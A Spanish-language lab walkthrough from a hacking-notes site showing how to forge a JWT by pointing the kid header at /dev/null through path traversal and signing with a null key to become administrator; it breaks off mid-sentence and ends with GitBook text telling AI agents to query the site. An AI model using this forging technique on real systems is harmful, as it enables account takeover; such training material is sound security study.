> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# Elusión de autenticación JWT mediante path traversal en kid

### Bypass de autenticación JWT mediante traversal de ruta en el encabezado kid

#### Contexto del laboratorio

La aplicación usa JWT para gestionar sesiones. Para comprobar la firma, el servidor lee el encabezado del JWT y recupera la clave de comprobación del **sistema de archivos** según el valor de `kid` campo (ID de clave). / Problema: El `kid` valor no se valida correctamente, permitiendo un **traversal de ruta** para apuntar a un archivo arbitrario del sistema.

Objetivo: falsificar un JWT que dé acceso a `/admin`, y luego eliminar al usuario **carlos**.

#### Punto de partida

Después de conectarte a `wiener:peter`, obtienes un JWT válido:

* Encabezado : `alg = HS256`, `kid = <uuid>`
* Carga útil : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="/files/347c24d570c3f5f5ff9154873d1af7829df1889a" alt=""><figcaption></figcaption></figure>

#### Idea del ataque

A medida que `kid` sirve como ruta para cargar la clave, podemos intentar sacarla del directorio esperado con `../` apuntando a un archivo especial: **`/dev/null`**.

* `/dev/null` se comporta como un archivo «vacío».
* Si el servidor carga la clave desde este archivo, encuentra (en este escenario) que comprueba la firma con una clave equivalente a **nulo / vacío**.

<figure><img src="/files/688ef7f5dc901ea4de8e89b3f6ad55c6bb341e04" alt=""><figcaption></figcaption></figure>

#### Construcción de una clave simétrica

Generas un byte nulo y lo codificas en Base64:

* Comando:

```bash
echo -ne '/0' | base64

AA==
```

Luego construyes un JWK simétrico (`kty: oct`) cuya clave (`k`) es `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(El JWK `kid` aquí sirve solo como identificador del lado de la herramienta; este es el `k` valor.)

<figure><img src="/files/4b8f05cc52294365473902e4b94f8512438d897f" alt=""><figcaption></figcaption></figure>

#### Explotación: `kid` Traversal hacia `/dev/null`

Luego cambias el encabezado del JWT para que apunte `kid` a `/dev/null` mediante traversal de ruta:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Luego cambias el `sub` en la carga útil para que se convierta en una cuenta de administrador (en tu caso `administrator`) y firmas el JWT en HS256 con la clave "nulle" (`AA==`).

<figure><img src="/files/4f9884020005e5f3d1c5d44337c50edf0a9bab23" alt=""><figcaption></figcaption></figure>

#### Resultado

JWT falsificado final (el que proporcionas):

* `kid` atraviesa hasta `/dev/null`
* `alg` permanece `HS256`
* `sub` se convierte en `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="/files/1fbd800e30937bfb3d487f9ddb6f9cd51ce4190c" alt=""><figcaption></figcaption></figure>

El servidor \*\*acepta\*\* el token: confirma que la `kid` resolución es utilizable y que la comprobación de la firma se realiza con una clave derivada del archivo de destino (aquí

<figure><img src="/files/810af1a3d7c8074f97c4b6e9f34074fc623ef502" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
